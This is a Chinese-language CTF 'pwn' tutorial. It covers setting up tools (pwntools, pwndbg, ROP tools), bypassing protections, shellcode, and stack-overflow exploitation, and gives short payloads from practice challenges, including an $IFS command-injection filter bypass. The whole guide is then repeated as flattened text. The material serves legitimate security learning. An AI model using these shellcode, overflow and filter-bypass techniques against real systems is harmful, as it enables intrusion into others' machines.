pwn的一些知识点总结分享
字数 1597 2025-08-22 12:23:24

PWN 漏洞利用技术全面指南

一、环境搭建

Ubuntu 16.04 环境准备

  1. 系统安装

    • 下载镜像:从清华镜像站获取 ubuntu-16.04.7-desktop-amd64.iso
    • 使用 VMware Workstation 进行安装
  2. 基础配置

    sudo apt-get install apt-transport-https
    vim /etc/apt/sources.list  # 替换为清华源
    
  3. Python 环境

    • Python2 Pip 安装(21.0以下版本):
    sudo add-apt-repository universe
    sudo apt update
    wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
    sudo python2 get-pip.py
    

必备工具安装

  1. pwntools

    pip install pwntools
    

    验证安装:

    import pwn
    
  2. pwndbg 插件

    git clone https://github.com/pwndbg/pwndbg
    cd pwndbg
    ./setup.sh
    
  3. one_gadget

    sudo apt-get purge --auto-remove ruby
    sudo apt-get install ruby2.6 ruby2.6-dev
    sudo gem install one_gadget
    
  4. ropper

    sudo pip3 install capstone filebytes keystone-engine
    pip3 install ropper
    

二、PWN 基础知识

1. pwntools 使用指南

基础连接与交互

from pwn import *
p = remote('example.com', 12345)  # 远程连接
p = process('./binary')          # 本地进程
p.sendline('data')               # 发送数据
data = p.recvline()              # 接收数据

调试功能

gdb.attach(p, '''
break main
continue
''')

ROP 链构造

elf = ELF('./binary')
rop = ROP(elf)
rop.call(elf.symbols['system'], [next(elf.search(b'/bin/sh'))])
print(rop.dump())

Shellcode 生成

context.arch = 'amd64'
shellcode = asm(shellcraft.sh())

2. checksec 安全机制分析

保护机制 说明 绕过方法
RELRO (Partial/Full) 重定位表只读保护 Partial RELRO 下可修改部分GOT条目
Stack Canary 栈保护金丝雀值 泄露canary值或覆盖不检查的位置
NX (Non-Executable) 数据区不可执行 ROP/JOP等代码复用技术
PIE (Position Independent Executable) 地址随机化 信息泄露获取基地址
ASLR 系统级地址随机化 暴力破解或信息泄露

3. 关键概念解析

  • 二进制程序:包含漏洞的可执行文件
  • 逆向分析:通过反汇编理解程序逻辑
  • Payload:利用漏洞的输入数据/代码
  • Shell:通过漏洞获取的系统命令行界面
  • ELF文件结构:包含.text(代码)、.data(数据)、.bss等段

三、漏洞类型与利用技术

1. Shellcode 技术

64位系统调用

mov rdi, ptr_to_bin_sh
mov rsi, 0
mov rdx, 0
mov rax, 0x3b  # execve系统调用号
syscall

快速生成

# 32位
context(arch='i386', os='linux')
shellcode = asm(shellcraft.sh())

# 64位
context(arch='amd64', os='linux')
shellcode = asm(shellcraft.sh())

2. 危险函数列表

危险函数 安全替代方案 漏洞类型
gets() fgets() 缓冲区溢出
strcpy() strncpy() 缓冲区溢出
sprintf() snprintf() 格式化字符串
system() execve() 命令注入
scanf() fgets()+sscanf() 缓冲区溢出

3. 溢出漏洞详解

栈溢出利用模式

  1. 确定溢出点(填充长度)
  2. 覆盖返回地址
  3. 跳转到shellcode或ROP链

典型payload结构

payload = b'A'*offset + p64(target_address)

堆溢出利用

  • 覆盖堆管理结构
  • 修改函数指针
  • 利用unlink等操作

四、实战案例分析

1. [SWPUCTF 2021 新生赛]nc签到

# 绕过黑名单技巧
tac$IFS$1flag

2. [NISACTF 2022]ReorPwn?

from pwn import *
p = process('./challenge')
p.sendline(b'tac flag')
print(p.recvall())

3. hello_pwn (攻防世界)

payload = b'a'*4 + p64(1853186401)
p.send(payload)

4. pwn05 (ctfshow)

payload = b"a"*(0x14+4) + p32(0x08048486)

五、高级技巧

1. ROP技术进阶

  • 使用ROPgadget工具查找gadget
  • 构造多级ROP链
  • 利用libc中的gadget

2. 内存泄露技术

  • 格式化字符串泄露
  • 堆布局泄露
  • 利用puts/printf输出内存内容

3. 防御绕过技术

  • 对抗ASLR:暴力破解或信息泄露
  • 对抗Stack Canary:部分覆盖或泄露
  • 对抗DEP/NX:ROP/JOP

六、学习资源与练习

推荐练习平台

  • NSSCTF
  • 攻防世界
  • ctfshow
  • pwnable.kr

必备工具列表

  • IDA Pro:静态分析
  • pwndbg:动态调试
  • checksec:安全检查
  • ROPgadget:ROP链构造
  • one_gadget:快速查找关键gadget

通过系统学习上述内容,配合大量实战练习,可以逐步掌握PWN技术的核心要点,从基础栈溢出到高级ROP利用,最终能够独立分析并利用各类二进制漏洞。

PWN 漏洞利用技术全面指南 一、环境搭建 Ubuntu 16.04 环境准备 系统安装 下载镜像:从清华镜像站获取 ubuntu-16.04.7-desktop-amd64.iso 使用 VMware Workstation 进行安装 基础配置 Python 环境 Python2 Pip 安装(21.0以下版本): 必备工具安装 pwntools 验证安装: pwndbg 插件 one_ gadget ropper 二、PWN 基础知识 1. pwntools 使用指南 基础连接与交互 调试功能 ROP 链构造 Shellcode 生成 2. checksec 安全机制分析 | 保护机制 | 说明 | 绕过方法 | |---------|------|---------| | RELRO (Partial/Full) | 重定位表只读保护 | Partial RELRO 下可修改部分GOT条目 | | Stack Canary | 栈保护金丝雀值 | 泄露canary值或覆盖不检查的位置 | | NX (Non-Executable) | 数据区不可执行 | ROP/JOP等代码复用技术 | | PIE (Position Independent Executable) | 地址随机化 | 信息泄露获取基地址 | | ASLR | 系统级地址随机化 | 暴力破解或信息泄露 | 3. 关键概念解析 二进制程序 :包含漏洞的可执行文件 逆向分析 :通过反汇编理解程序逻辑 Payload :利用漏洞的输入数据/代码 Shell :通过漏洞获取的系统命令行界面 ELF文件结构 :包含.text(代码)、.data(数据)、.bss等段 三、漏洞类型与利用技术 1. Shellcode 技术 64位系统调用 快速生成 2. 危险函数列表 | 危险函数 | 安全替代方案 | 漏洞类型 | |---------|-------------|---------| | gets() | fgets() | 缓冲区溢出 | | strcpy() | strncpy() | 缓冲区溢出 | | sprintf() | snprintf() | 格式化字符串 | | system() | execve() | 命令注入 | | scanf() | fgets()+sscanf() | 缓冲区溢出 | 3. 溢出漏洞详解 栈溢出利用模式 确定溢出点(填充长度) 覆盖返回地址 跳转到shellcode或ROP链 典型payload结构 堆溢出利用 覆盖堆管理结构 修改函数指针 利用unlink等操作 四、实战案例分析 1. [ SWPUCTF 2021 新生赛 ]nc签到 2. [ NISACTF 2022 ]ReorPwn? 3. hello_ pwn (攻防世界) 4. pwn05 (ctfshow) 五、高级技巧 1. ROP技术进阶 使用ROPgadget工具查找gadget 构造多级ROP链 利用libc中的gadget 2. 内存泄露技术 格式化字符串泄露 堆布局泄露 利用puts/printf输出内存内容 3. 防御绕过技术 对抗ASLR:暴力破解或信息泄露 对抗Stack Canary:部分覆盖或泄露 对抗DEP/NX:ROP/JOP 六、学习资源与练习 推荐练习平台 NSSCTF 攻防世界 ctfshow pwnable.kr 必备工具列表 IDA Pro:静态分析 pwndbg:动态调试 checksec:安全检查 ROPgadget:ROP链构造 one_ gadget:快速查找关键gadget 通过系统学习上述内容,配合大量实战练习,可以逐步掌握PWN技术的核心要点,从基础栈溢出到高级ROP利用,最终能够独立分析并利用各类二进制漏洞。